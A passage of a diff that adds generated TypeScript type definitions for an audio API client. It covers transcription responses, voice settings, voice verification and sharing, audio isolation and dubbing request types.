* @type string + */ + error_type: 'edit_failed' + /** + * @description A short, user-facing explanation of the failure. + * @type string + */ + message: string +} + +/** + * @description Chunk-level detail of the transcription with timing information. + * @example {"language_code":"en","language_probability":0.98,"text":"Hello world!","words":[{"end":0.5,"logprob":-0.124,"speaker_id":"speaker_1","start":0,"text":"Hello","type":"word"},{"end":0.5,"logprob":0,"speaker_id":"speaker_1","start":0.5,"text":" ","type":"spacing"},{"end":1.2,"logprob":-0.089,"speaker_id":"speaker_1","start":0.5,"text":"world!","type":"word"}]} + * @type object + */ +export type SpeechToTextChunkResponseModel = { + /** + * @description The detected language code (e.g. 'eng' for English). + * @type string + */ + language_code: string + /** + * @description The confidence score of the language detection (0 to 1). + * @type number + */ + language_probability: number + /** + * @description The raw text of the transcription. + * @type string + */ + text: string + /** + * @description List of words with their timing information. + * @type array + */ + words: SpeechToTextWordResponseModel[] + /** + * @description The channel index this transcript belongs to (for multichannel audio). + */ + channel_index?: number | null + /** + * @description Requested additional formats of the transcript. + */ + additional_formats?: (AdditionalFormatResponseModel | null)[] | null + /** + * @description The transcription ID of the response. + */ + transcription_id?: string | null + /** + * @description List of detected entities with their text, type, and character positions in the transcript. + */ + entities?: DetectedEntity[] | null + /** + * @description The duration of the audio that was transcribed in seconds. + */ + audio_duration_secs?: number | null + /** + * @description Result of the optional transcript edit: the edited text, or an error if it could not be produced. Absent when no edit was requested. On success, both `text` and `edited_text` hold the edited transcript; compare them with the top-level `text` to see what changed. + */ + edited_transcript?: + | ( + | (EditedTranscript & { + kind: 'transcript' + }) + | (TranscriptEditError & { + kind: 'error' + }) + ) + | null +} + +/** + * @description Response model for multichannel speech-to-text transcription. + * @example {"transcripts":[{"language_code":"en","language_probability":0.98,"text":"Hello from channel one.","words":[{"end":0.5,"logprob":-0.124,"speaker_id":"speaker_0","start":0,"text":"Hello","type":"word"},{"end":0.5,"logprob":0,"speaker_id":"speaker_0","start":0.5,"text":" ","type":"spacing"},{"end":0.8,"logprob":-0.089,"speaker_id":"speaker_0","start":0.5,"text":"from","type":"word"}]},{"language_code":"en","language_probability":0.97,"text":"Greetings from channel two.","words":[{"end":0.7,"logprob":-0.156,"speaker_id":"speaker_1","start":0.1,"text":"Greetings","type":"word"},{"end":0.7,"logprob":0,"speaker_id":"speaker_1","start":0.7,"text":" ","type":"spacing"},{"end":1,"logprob":-0.078,"speaker_id":"speaker_1","start":0.7,"text":"from","type":"word"}]}]} + * @type object + */ +export type MultichannelSpeechToTextResponseModel = { + /** + * @description List of transcripts, one for each audio channel. Each transcript contains the text and word-level details for its respective channel. + * @type array + */ + transcripts: SpeechToTextChunkResponseModel[] + /** + * @description The transcription ID of the response. + */ + transcription_id?: string | null + /** + * @description The duration of the audio that was transcribed across all channels in seconds. + */ + audio_duration_secs?: number | null +} + +/** + * @example {"message":"Request accepted. Transcription result will be sent to the webhook endpoint.","request_id":"1234567890"} + * @type object + */ +export type SpeechToTextWebhookResponseModel = { + /** + * @description The message of the webhook response. + * @type string + */ + message: string + /** + * @description The request ID of the webhook response. + * @type string + */ + request_id: string + /** + * @description The transcription ID of the webhook response. + */ + transcription_id?: string | null +} + +export type DialogueInput = { + /** + * @description The text to be converted into speech. + * @type string + */ + text: string + /** + * @description The ID of the voice to be used for the generation. + * @type string + */ + voice_id: string +} + +/** + * @description Audio effects applied to generated speech: a filter preset, perceived distance, a reverb + * environment, a background noise bed, and stereo panning. Leave every field at its default + * to get unprocessed audio. + * @type object + */ +export type EffectsSpecInput = { + /** + * @description ID of a filter preset that colors the voice, such as `phone` or `old_radio`. List valid IDs with `GET /v1/audio-effects/catalog`. + */ + filter_preset_id?: string | null + /** + * @description How far the speaker sounds from the microphone, from 0 (close, unchanged) to 1 (far). Higher values roll off low and high frequencies and, when an environment is set, shift the balance from the dry voice toward the reverb. + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + distance?: number + /** + * @description ID of a reverb environment that places the voice in a space, such as `small_room` or `hall`. List valid IDs with `GET /v1/audio-effects/catalog`. Reverb is rendered in stereo and adds a tail of up to several seconds after the speech ends. + */ + environment_id?: string | null + /** + * @description ID of a background noise bed looped under the voice, such as `cafe` or `keyboard`. List valid IDs with `GET /v1/audio-effects/catalog`. + */ + background_noise_id?: string | null + /** + * @description How much of the voice feeds the reverb, from 0 (none) to 1 (full). Only applies when `environment_id` is set; 0 turns the reverb off. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + send_level?: number + /** + * @description Stereo position of the voice, from -1 (hard left) through 0 (center) to 1 (hard right). Only the voice is panned; reverb and background noise stay centered. + * @minimum -1 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + pan?: number +} + +export type PronunciationDictionaryVersionLocatorRequestModel = { + /** + * @description The ID of the pronunciation dictionary. + * @type string + */ + pronunciation_dictionary_id: string + /** + * @description The ID of the version of the pronunciation dictionary. If not provided, the latest version will be used. + */ + version_id?: string | null +} + +/** + * @example {"stability":0.5} + * @type object + */ +export type ToDialogueSettingsResponseModel = { + /** + * @description Determines how stable the voice is and the randomness between each generation. Lower values introduce broader emotional range for the voice. Higher values can result in a monotonous voice with limited emotion. + * @default 0.5 + */ + stability?: number | null + /** + * @description Determines how strongly the model is guided while generating. Higher values make the model adhere more closely to the voice, at the cost of variation. Not supported by every model. + * @default 0.75 + */ + similarity?: number | null + /** + * @description Controls how closely the output matches your professional voice clone samples (0–1). Lower values sound more versatile, while higher values preserve more of the original voice characteristics. We recommend 0 for most use cases, but if you do run into issues 0.5 could be a good fallback. Applies only to professional voice clones fine-tuned for the selected v4 model. + */ + clone_strength?: number | null +} + +export type CharacterAlignmentResponseModel = { + characters: string[] + character_start_times_seconds: number[] + character_end_times_seconds: number[] +} + +export type VoiceSegment = { + /** + * @description The voice ID used for this segment + * @type string + */ + voice_id: string + /** + * @description Start time of this voice segment + * @type number + */ + start_time_seconds: number + /** + * @description End time of this voice segment + * @type number + */ + end_time_seconds: number + /** + * @description Start index in the characters array + * @type integer + */ + character_start_index: number + /** + * @description End index in the characters array (exclusive) + * @type integer + */ + character_end_index: number + /** + * @description Line of the dialogue (script) that this segment is a part of. + * @type integer + */ + dialogue_input_index: number +} + +/** + * @example {"similarity_boost":1,"speed":1,"stability":1,"style":0,"use_speaker_boost":true} + * @type object + */ +export type VoiceSettingsResponseModel = { + /** + * @description Determines how stable the voice is and the randomness between each generation. Lower values introduce broader emotional range for the voice. Higher values can result in a monotonous voice with limited emotion. + * @default 0.5 + */ + stability?: number | null + /** + * @description This setting boosts the similarity to the original speaker. Using this setting requires a slightly higher computational load, which in turn increases latency. + * @default true + */ + use_speaker_boost?: boolean | null + /** + * @description Determines how closely the AI should adhere to the original voice when attempting to replicate it. + * @default 0.75 + */ + similarity_boost?: number | null + /** + * @description Determines the style exaggeration of the voice. This setting attempts to amplify the style of the original speaker. It does consume additional computational resources and might increase latency if set to anything other than 0. + * @default 0 + */ + style?: number | null + /** + * @description Adjusts the speed of the voice. A value of 1.0 is the default speed, while values less than 1.0 slow down the speech, and values greater than 1.0 speed it up. + * @default 1 + */ + speed?: number | null + /** + * @description Controls how closely the output matches your professional voice clone samples (0–1). Lower values sound more versatile, while higher values preserve more of the original voice characteristics. We recommend 0 for most use cases, but if you do run into issues 0.5 could be a good fallback. Applies only to professional voice clones fine-tuned for the selected v4 model. + */ + clone_strength?: number | null +} + +/** + * @example {"mime_type":"audio/mpeg","recording_id":"CwhRBWXzGAHq8TQ4Fs17","size_bytes":1000000,"transcription":"Hello, how are you?","upload_date_unix":1714204800} + * @type object + */ +export type RecordingResponseModel = { + /** + * @description The ID of the recording. + * @type string + */ + recording_id: string + /** + * @description The MIME type of the recording. + * @type string + */ + mime_type: string + /** + * @description The size of the recording in bytes. + * @type integer + */ + size_bytes: number + /** + * @description The date of the recording in Unix time. + * @type integer + */ + upload_date_unix: number + /** + * @description The transcription of the recording. + * @type string + */ + transcription: string +} + +/** + * @example {"accepted":true,"date_unix":1714204800,"levenshtein_distance":2,"recording":{"mime_type":"audio/mpeg","recording_id":"CwhRBWXzGAHq8TQ4Fs17","size_bytes":1000000,"transcription":"Hello, how are you?","upload_date_unix":1714204800},"similarity":0.95,"text":"Hello, how are you?"} + * @type object + */ +export type VerificationAttemptResponseModel = { + /** + * @description The text of the verification attempt. + * @type string + */ + text: string + /** + * @description The date of the verification attempt in Unix time. + * @type integer + */ + date_unix: number + /** + * @description Whether the verification attempt was accepted. + * @type boolean + */ + accepted: boolean + /** + * @description The similarity of the verification attempt. + * @type number + */ + similarity: number + /** + * @description The Levenshtein distance of the verification attempt. + * @type number + */ + levenshtein_distance: number + /** + * @description The recording of the verification attempt. + */ + recording?: RecordingResponseModel | null +} + +/** + * @example {"file_id":"CwhRBWXzGAHq8TQ4Fs18","file_name":"file.mp3","mime_type":"audio/mpeg","size_bytes":1000000,"upload_date_unix":1714204800} + * @type object + */ +export type ManualVerificationFileResponseModel = { + /** + * @description The ID of the file. + * @type string + */ + file_id: string + /** + * @description The name of the file. + * @type string + */ + file_name: string + /** + * @description The MIME type of the file. + * @type string + */ + mime_type: string + /** + * @description The size of the file in bytes. + * @type integer + */ + size_bytes: number + /** + * @description The date of the file in Unix time. + * @type integer + */ + upload_date_unix: number +} + +/** + * @example {"extra_text":"Please verify the voice is that of a female.","files":[{"file_id":"CwhRBWXzGAHq8TQ4Fs18","file_name":"file.mp3","mime_type":"audio/mpeg","size_bytes":1000000,"upload_date_unix":1714204800}],"request_time_unix":1714204800} + * @type object + */ +export type ManualVerificationResponseModel = { + /** + * @description The extra text of the manual verification. + * @type string + */ + extra_text: string + /** + * @description The date of the manual verification in Unix time. + * @type integer + */ + request_time_unix: number + /** + * @description The files of the manual verification. + * @type array + */ + files: ManualVerificationFileResponseModel[] +} + +/** + * @example {"is_allowed_to_fine_tune":true,"manual_verification_requested":false,"state":{"eleven_multilingual_v2":"fine_tuned"},"verification_attempts_count":2,"verification_failures":[]} + * @type object + */ +export type FineTuningResponseModel = { + /** + * @description Whether the user is allowed to fine-tune the voice. + * @type boolean + */ + is_allowed_to_fine_tune: boolean + /** + * @description The state of the fine-tuning process for each model. + * @type object + */ + state: { + [key: string]: + | 'not_started' + | 'queued' + | 'fine_tuning' + | 'fine_tuned' + | 'failed' + | 'delayed' + } + /** + * @description List of verification failures in the fine-tuning process. + * @type array + */ + verification_failures: string[] + /** + * @description The number of verification attempts in the fine-tuning process. + * @type integer + */ + verification_attempts_count: number + /** + * @description Whether a manual verification was requested for the fine-tuning process. + * @type boolean + */ + manual_verification_requested: boolean + /** + * @description The language of the fine-tuning process. + */ + language?: string | null + /** + * @description The progress of the fine-tuning process. + */ + progress?: { + [key: string]: number + } | null + /** + * @description The message of the fine-tuning process. + */ + message?: { + [key: string]: string + } | null + /** + * @description The duration of the dataset in seconds. + */ + dataset_duration_seconds?: number | null + /** + * @description The number of verification attempts. + */ + verification_attempts?: VerificationAttemptResponseModel[] | null + /** + * @description List of slice IDs. + */ + slice_ids?: string[] | null + /** + * @description The manual verification of the fine-tuning process. + */ + manual_verification?: ManualVerificationResponseModel | null + /** + * @description The maximum number of verification attempts. + */ + max_verification_attempts?: number | null + /** + * @description The next maximum verification attempts reset time in Unix milliseconds. + */ + next_max_verification_attempts_reset_unix_ms?: number | null +} + +export const readerResourceResponseModelResourceTypeEnum = { + read: 'read', + collection: 'collection', +} as const + +export type ReaderResourceResponseModelResourceTypeEnumKey = + (typeof readerResourceResponseModelResourceTypeEnum)[keyof typeof readerResourceResponseModelResourceTypeEnum] + +/** + * @example {"resource_id":"FCwhRBWXzGAHq8TQ4Fs18","resource_type":"read"} + * @type object + */ +export type ReaderResourceResponseModel = { + /** + * @description The type of resource. + * @type string + */ + resource_type: ReaderResourceResponseModelResourceTypeEnumKey + /** + * @description The ID of the resource. + * @type string + */ + resource_id: string +} + +/** + * @example {"end":1,"start":0} + * @type object + */ +export type UtteranceResponseModel = { + /** + * @description The start time of the utterance in seconds. + * @type number + */ + start: number + /** + * @description The end time of the utterance in seconds. + * @type number + */ + end: number +} + +/** + * @example {"duration_secs":5,"speaker_id":"DCwhRBWXzGAHq8TQ4Fs18"} + * @type object + */ +export type SpeakerResponseModel = { + /** + * @description The ID of the speaker. + * @type string + */ + speaker_id: string + /** + * @description The duration of the speaker segment in seconds. + * @type number + */ + duration_secs: number + /** + * @description The utterances of the speaker. + */ + utterances?: UtteranceResponseModel[] | null +} + +export const speakerSeparationResponseModelStatusEnum = { + not_started: 'not_started', + pending: 'pending', + completed: 'completed', + failed: 'failed', +} as const + +export type SpeakerSeparationResponseModelStatusEnumKey = + (typeof speakerSeparationResponseModelStatusEnum)[keyof typeof speakerSeparationResponseModelStatusEnum] + +/** + * @example {"sample_id":"DCwhRBWXzGAHq8TQ4Fs18","status":"not_started","voice_id":"DCwhRBWXzGAHq8TQ4Fs18"} + * @type object + */ +export type SpeakerSeparationResponseModel = { + /** + * @description The ID of the voice. + * @type string + */ + voice_id: string + /** + * @description The ID of the sample. + * @type string + */ + sample_id: string + /** + * @description The status of the speaker separation. + * @type string + */ + status: SpeakerSeparationResponseModelStatusEnumKey + /** + * @description The speakers of the sample. + */ + speakers?: { + [key: string]: SpeakerResponseModel + } | null + /** + * @description The IDs of the selected speakers. + */ + selected_speaker_ids?: string[] | null +} + +/** + * @example {"file_name":"sample.mp3","hash":"1234567890","mime_type":"audio/mpeg","sample_id":"DCwhRBWXzGAHq8TQ4Fs18","size_bytes":1000000} + * @type object + */ +export type SampleResponseModel = { + /** + * @description The ID of the sample. + * @type string + */ + sample_id: string + /** + * @description The name of the sample file. + * @type string + */ + file_name: string + /** + * @description The MIME type of the sample file. + * @type string + */ + mime_type: string + /** + * @description The size of the sample file in bytes. + * @type integer + */ + size_bytes: number + /** + * @description The hash of the sample file. + * @type string + */ + hash: string + duration_secs?: number | null + remove_background_noise?: boolean | null + has_isolated_audio?: boolean | null + has_isolated_audio_preview?: boolean | null + speaker_separation?: SpeakerSeparationResponseModel | null + trim_start?: number | null + trim_end?: number | null +} + +/** + * @example {"captcha_checks":[0.95,0.98],"captcha_ids":["captcha1","captcha2"],"date_checked_unix":1714204800,"description_check":true,"description_value":"A female voice with a soft and friendly tone.","name_check":true,"name_value":"Rachel","sample_checks":[0.95,0.98],"sample_ids":["sample1","sample2"]} + * @type object + */ +export type VoiceSharingModerationCheckResponseModel = { + /** + * @description The date the moderation check was made in Unix time. + */ + date_checked_unix?: number | null + /** + * @description The name value of the voice. + */ + name_value?: string | null + /** + * @description Whether the name check was successful. + */ + name_check?: boolean | null + /** + * @description The description value of the voice. + */ + description_value?: string | null + /** + * @description Whether the description check was successful. + */ + description_check?: boolean | null + /** + * @description A list of sample IDs. + */ + sample_ids?: string[] | null + /** + * @description A list of sample checks. + */ + sample_checks?: number[] | null + /** + * @description A list of captcha IDs. + */ + captcha_ids?: string[] | null + /** + * @description A list of CAPTCHA check values. + */ + captcha_checks?: number[] | null +} + +export const voiceSharingResponseModelStatusEnum = { + enabled: 'enabled', + disabled: 'disabled', + copied: 'copied', + copied_disabled: 'copied_disabled', +} as const + +export type VoiceSharingResponseModelStatusEnumKey = + (typeof voiceSharingResponseModelStatusEnum)[keyof typeof voiceSharingResponseModelStatusEnum] + +export const voiceSharingResponseModelCategoryEnum = { + generated: 'generated', + cloned: 'cloned', + premade: 'premade', + professional: 'professional', + famous: 'famous', + high_quality: 'high_quality', +} as const + +export type VoiceSharingResponseModelCategoryEnumKey = + (typeof voiceSharingResponseModelCategoryEnum)[keyof typeof voiceSharingResponseModelCategoryEnum] + +export const voiceSharingResponseModelReviewStatusEnum = { + not_requested: 'not_requested', + pending: 'pending', + declined: 'declined', + declined_resubmittable: 'declined_resubmittable', + allowed: 'allowed', + allowed_with_changes: 'allowed_with_changes', +} as const + +export type VoiceSharingResponseModelReviewStatusEnumKey = + (typeof voiceSharingResponseModelReviewStatusEnum)[keyof typeof voiceSharingResponseModelReviewStatusEnum] + +/** + * @example {"category":"professional","cloned_by_count":50,"date_unix":1714204800,"description":"A female voice with a soft and friendly tone.","disable_at_unix":1714204800,"enabled_in_library":true,"featured":true,"financial_rewards_enabled":true,"free_users_allowed":true,"history_item_sample_id":"DCwhRBWXzGAHq8TQ4Fs18","labels":{"accent":"American","gender":"female"},"liked_by_count":100,"live_moderation_enabled":true,"moderation_check":{"captcha_checks":[0.95,0.98],"captcha_ids":["captcha1","captcha2"],"date_checked_unix":1714204800,"description_check":true,"description_value":"A female voice with a soft and friendly tone.","name_check":true,"name_value":"Rachel","sample_checks":[0.95,0.98],"sample_ids":["sample1","sample2"]},"name":"Rachel","notice_period":30,"original_voice_id":"DCwhRBWXzGAHq8TQ4Fs18","public_owner_id":"DCwhRBWXzGAHq8TQ4Fs18","rate":0.05,"reader_app_enabled":true,"reader_restricted_on":[{"resource_id":"FCwhRBWXzGAHq8TQ4Fs18","resource_type":"read"}],"review_status":"allowed","status":"enabled","voice_mixing_allowed":false,"whitelisted_emails":["example@example.com"]} + * @type object + */ +export type VoiceSharingResponseModel = { + /** + * @description The status of the voice sharing. + * @type string + */ + status: VoiceSharingResponseModelStatusEnumKey + /** + * @description The sample ID of the history item. + */ + history_item_sample_id?: string | null + /** + * @description The date of the voice sharing in Unix time. + * @type integer + */ + date_unix: number + /** + * @description A list of whitelisted emails. + * @type array + */ + whitelisted_emails: string[] + /** + * @description The ID of the public owner. + * @type string + */ + public_owner_id: string + /** + * @description The ID of the original voice. + * @type string + */ + original_voice_id: string + /** + * @description Whether financial rewards are enabled. + * @type boolean + */ + financial_rewards_enabled: boolean + /** + * @description Whether free users are allowed. + * @type boolean + */ + free_users_allowed: boolean + /** + * @description Whether live moderation is enabled. + * @type boolean + */ + live_moderation_enabled: boolean + /** + * @description The rate of the voice sharing. + */ + rate?: number | null + /** + * @description The rate of the voice sharing in USD per 1000 credits. + */ + fiat_rate?: number | null + /** + * @description The notice period of the voice sharing. + * @type integer + */ + notice_period: number + /** + * @description The date of the voice sharing in Unix time. + */ + disable_at_unix?: number | null + /** + * @description Whether voice mixing is allowed. + * @type boolean + */ + voice_mixing_allowed: boolean + /** + * @description Whether the voice is featured. + * @type boolean + */ + featured: boolean + /** + * @description The category of the voice. + * @type string + */ + category: VoiceSharingResponseModelCategoryEnumKey + /** + * @description Whether the reader app is enabled. + */ + reader_app_enabled?: boolean | null + /** + * @description The image URL of the voice. + */ + image_url?: string | null + /** + * @description The ban reason of the voice. + */ + ban_reason?: string | null + /** + * @description The number of likes on the voice. + * @type integer + */ + liked_by_count: number + /** + * @description The number of clones on the voice. + * @type integer + */ + cloned_by_count: number + /** + * @description The name of the voice. + * @type string + */ + name: string + /** + * @description The description of the voice. + */ + description?: string | null + /** + * @description The labels of the voice. + * @type object + */ + labels: { + [key: string]: string + } + /** + * @description The review status of the voice. + * @type string + */ + review_status: VoiceSharingResponseModelReviewStatusEnumKey + /** + * @description The review message of the voice. + */ + review_message?: string | null + /** + * @description Whether the voice is enabled in the library. + * @type boolean + */ + enabled_in_library: boolean + /** + * @description The Instagram username of the voice. + */ + instagram_username?: string | null + /** + * @description The Twitter/X username of the voice. + */ + twitter_username?: string | null + /** + * @description The YouTube username of the voice. + */ + youtube_username?: string | null + /** + * @description The TikTok username of the voice. + */ + tiktok_username?: string | null + /** + * @description The moderation check of the voice. + */ + moderation_check?: VoiceSharingModerationCheckResponseModel | null + /** + * @description The reader restricted on of the voice. + */ + reader_restricted_on?: ReaderResourceResponseModel[] | null +} + +/** + * @example {"is_verified":true,"language":"en","requires_verification":false,"verification_attempts":[{"accepted":true,"date_unix":1714204800,"levenshtein_distance":2,"recording":{"mime_type":"audio/mpeg","recording_id":"CwhRBWXzGAHq8TQ4Fs17","size_bytes":1000000,"transcription":"Hello, how are you?","upload_date_unix":1714204800},"similarity":0.95,"text":"Hello, how are you?"}],"verification_attempts_count":0,"verification_failures":[]} + * @type object + */ +export type VoiceVerificationResponseModel = { + /** + * @description Whether the voice requires verification. + * @type boolean + */ + requires_verification: boolean + /** + * @description Whether the voice has been verified. + * @type boolean + */ + is_verified: boolean + /** + * @description List of verification failures. + * @type array + */ + verification_failures: string[] + /** + * @description The number of verification attempts. + * @type integer + */ + verification_attempts_count: number + /** + * @description The language of the voice. + */ + language?: string | null + /** + * @description Number of times a verification was attempted. + */ + verification_attempts?: VerificationAttemptResponseModel[] | null +} + +export type VoicePreviewResponseModel = { + /** + * @description The base64 encoded audio of the preview. + * @type string + */ + audio_base_64: string + /** + * @description The ID of the generated voice. Use it to create a voice from the preview. + * @type string + */ + generated_voice_id: string + /** + * @description The media type of the preview. + * @type string + */ + media_type: string + /** + * @description The duration of the preview in seconds. + * @type number + */ + duration_secs: number + /** + * @description The language of the preview. + */ + language: string | null +} + +/** + * @description A Voice Library voice the uploaded audio matched, offered in place of the clone. + * @type object + */ +export type LibraryVoiceMatchResponseModel = { + /** + * @description The ID of the matched Voice Library voice. + * @type string + */ + library_voice_id: string + /** + * @description The public owner ID of the Voice Library voice. Pass it with library_voice_id to POST /v1/voices/add/{public_user_id}/{voice_id} to add the voice. + * @type string + */ + public_owner_id: string +} + +/** + * @description + * Format: `binary` + * @type string + */ +export type ElevenlabsPostV1AudioIsolationStatus200 = Blob + +export const elevenlabsPostV1AudioIsolationRequestFileFormat = { + pcm_s16le_16: 'pcm_s16le_16', + other: 'other', +} as const + +export type ElevenlabsPostV1AudioIsolationRequestFileFormatKey = + (typeof elevenlabsPostV1AudioIsolationRequestFileFormat)[keyof typeof elevenlabsPostV1AudioIsolationRequestFileFormat] + +export type ElevenlabsPostV1AudioIsolationBody = { + /** + * @description The audio file from which vocals/speech will be isolated from. + * + * Format: `binary` + * @type string + */ + audio: Blob + /** + * @description The format of input audio. Options are 'pcm_s16le_16' or 'other' For `pcm_s16le_16`, the input audio must be 16-bit PCM at a 16kHz sample rate, single channel (mono), and little-endian byte order. Latency will be lower than with passing an encoded waveform. + * @default other + * @example pcm_s16le_16 + * @example other + */ + file_format?: ElevenlabsPostV1AudioIsolationRequestFileFormatKey | null + /** + * @description Optional preview image base64 for tracking this generation. + */ + preview_b64?: string | null +} + +export type ElevenlabsPostV1AudioIsolationOptions = { + body: ElevenlabsPostV1AudioIsolationBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1AudioIsolationResponses = { + '200': ElevenlabsPostV1AudioIsolationStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1AudioIsolationResponse = + ElevenlabsPostV1AudioIsolationStatus200 + +/** + * @description + * Format: `binary` + * @type string + */ +export type ElevenlabsPostV1AudioIsolationStreamStatus200 = Blob + +export const elevenlabsPostV1AudioIsolationStreamRequestFileFormat = { + pcm_s16le_16: 'pcm_s16le_16', + other: 'other', +} as const + +export type ElevenlabsPostV1AudioIsolationStreamRequestFileFormatKey = + (typeof elevenlabsPostV1AudioIsolationStreamRequestFileFormat)[keyof typeof elevenlabsPostV1AudioIsolationStreamRequestFileFormat] + +export type ElevenlabsPostV1AudioIsolationStreamBody = { + /** + * @description The audio file from which vocals/speech will be isolated from. + * + * Format: `binary` + * @type string + */ + audio: Blob + /** + * @description The format of input audio. Options are 'pcm_s16le_16' or 'other' For `pcm_s16le_16`, the input audio must be 16-bit PCM at a 16kHz sample rate, single channel (mono), and little-endian byte order. Latency will be lower than with passing an encoded waveform. + * @default other + * @example pcm_s16le_16 + * @example other + */ + file_format?: ElevenlabsPostV1AudioIsolationStreamRequestFileFormatKey | null +} + +export type ElevenlabsPostV1AudioIsolationStreamOptions = { + body: ElevenlabsPostV1AudioIsolationStreamBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1AudioIsolationStreamResponses = { + '200': ElevenlabsPostV1AudioIsolationStreamStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1AudioIsolationStreamResponse = + ElevenlabsPostV1AudioIsolationStreamStatus200 + +/** + * @example {"dubbing_id":"21m00Tcm4TlvDq8ikWAM","expected_duration_sec":127.5} + * @type object + */ +export type ElevenlabsPostV1DubbingStatus200 = { + /** + * @description The ID of the dubbing project. + * @type string + */ + dubbing_id: string + /** + * @description The expected duration of the dubbing project in seconds. + * @type number + */ + expected_duration_sec: number +} + +export const elevenlabsPostV1DubbingRequestModeEnum = { + automatic: 'automatic', + manual: 'manual', +} as const + +export type ElevenlabsPostV1DubbingRequestModeEnumKey = + (typeof elevenlabsPostV1DubbingRequestModeEnum)[keyof typeof elevenlabsPostV1DubbingRequestModeEnum] + +export type ElevenlabsPostV1DubbingBody = { + /** + * @description A list of file paths to audio recordings intended for voice cloning + */ + file?: Blob | null + /** + * @description CSV file containing transcription/translation metadata + */ + csv_file?: Blob | null + /** + * @description For use only with csv input + */ + foreground_audio_file?: Blob | null + /** + * @description For use only with csv input + */ + background_audio_file?: Blob | null + /** + * @description Name of the dubbing project. + */ + name?: string | null + /** + * @description URL of the source video/audio file. + */ + source_url?: string | null + /** + * @description Source language. Expects a valid iso639-1 or iso639-3 language code. + * @default 'auto' + * @type string | undefined + */ + source_lang?: string + /** + * @description The Target language to dub the content into. Expects a valid iso639-1 or iso639-3 language code. + */ + target_lang?: string | null + /** + * @description [Experimental] An accent to apply when selecting voices from the library and to use to inform translation of the dialect to prefer. + */ + target_accent?: string | null + /** + * @description Number of speakers to use for the dubbing. Set to 0 to automatically detect the number of speakers + * @default 0 + * @type integer | undefined + */ + num_speakers?: number + /** + * @description Whether to apply watermark to the output video. + * @default false + * @type boolean | undefined + */ + watermark?: boolean + /** + * @description Start time of the source video/audio file. + */ + start_time?: number | null + /** + * @description End time of the source video/audio file. + */ + end_time?: number | null + /** + * @description Whether to use the highest resolution available. + * @default false + * @type boolean | undefined + */ + highest_resolution?: boolean + /** + * @description An advanced setting. Whether to drop background audio from the final dub. This can improve dub quality where it's known that audio shouldn't have a background track such as for speeches or monologues. + * @default false + * @type boolean | undefined + */ + drop_background_audio?: boolean + /** + * @description [BETA] Whether transcripts should have profanities censored with the words '[censored]' + */ + use_profanity_filter?: boolean | null + /** + * @description Whether to prepare dub for edits in dubbing studio or edits as a dubbing resource. + * @default false + * @type boolean | undefined + */ + dubbing_studio?: boolean + /** + * @description Instead of using a voice clone in dubbing, use a similar voice from the ElevenLabs Voice Library. Voices used from the library will contribute towards a workspace's custom voices limit, and if there aren't enough available slots the dub will fail. Using this feature requires the caller to have the 'add_voice_from_voice_library' permission on their workspace to access new voices. + * @default false + * @type boolean | undefined + */ + disable_voice_cloning?: boolean + /** + * @description The mode in which to run this Dubbing job. Defaults to automatic, use manual if specifically providing a CSV transcript to use. Note that manual mode is experimental and production use is strongly discouraged. + * @default 'automatic' + * @type string | undefined + */ + mode?: ElevenlabsPostV1DubbingRequestModeEnumKey + /** + * @description Frames per second to use when parsing a CSV file for dubbing. If not provided, FPS will be inferred from timecodes. + */ + csv_fps?: number | null +} + +export type ElevenlabsPostV1DubbingOptions = { + body: ElevenlabsPostV1DubbingBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1DubbingResponses = { + '200': ElevenlabsPostV1DubbingStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1DubbingResponse = ElevenlabsPostV1DubbingStatus200 + +export type ElevenlabsPostV1DubbingResourceDubbingIdDubPath = { + dubbing_id: string +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdDubStatus200 = { + version: number +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdDubBody = { + /** + * @description Dub only this list of segments. + * @type array + */ + segments: string[] + /** + * @description Dub only these languages for each segment. + */ + languages: string[] | null +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdDubOptions = { + body: ElevenlabsPostV1DubbingResourceDubbingIdDubBody + path: ElevenlabsPostV1DubbingResourceDubbingIdDubPath + query?: never + headers?: never +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdDubResponses = { + '200': ElevenlabsPostV1DubbingResourceDubbingIdDubStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1DubbingResourceDubbingIdDubResponse = + ElevenlabsPostV1DubbingResourceDubbingIdDubStatus200 + +export type ElevenlabsPostV1DubbingResourceDubbingIdLanguagePath = { + dubbing_id: string +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdLanguageStatus200 = { + version: number +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdLanguageBody = { + /** + * @description The Target language. + */ + language: string | null +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdLanguageOptions = { + body: ElevenlabsPostV1DubbingResourceDubbingIdLanguageBody + path: ElevenlabsPostV1DubbingResourceDubbingIdLanguagePath + query?: never + headers?: never +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdLanguageResponses = { + '200': ElevenlabsPostV1DubbingResourceDubbingIdLanguageStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1DubbingResourceDubbingIdLanguageResponse = + ElevenlabsPostV1DubbingResourceDubbingIdLanguageStatus200 + +export type ElevenlabsPostV1DubbingResourceDubbingIdMigrateSegmentsPath = { + dubbing_id: string +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdMigrateSegmentsStatus200 = { + version: number +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdMigrateSegmentsBody = { + segment_ids: string[] + speaker_id: string +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdMigrateSegmentsOptions = { + body: ElevenlabsPostV1DubbingResourceDubbingIdMigrateSegmentsBody + path: ElevenlabsPostV1DubbingResourceDubbingIdMigrateSegmentsPath + query?: never + headers?: never +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdMigrateSegmentsResponses = { + '200': ElevenlabsPostV1DubbingResourceDubbingIdMigrateSegmentsStatus200 +} + +/** + * @description Union of 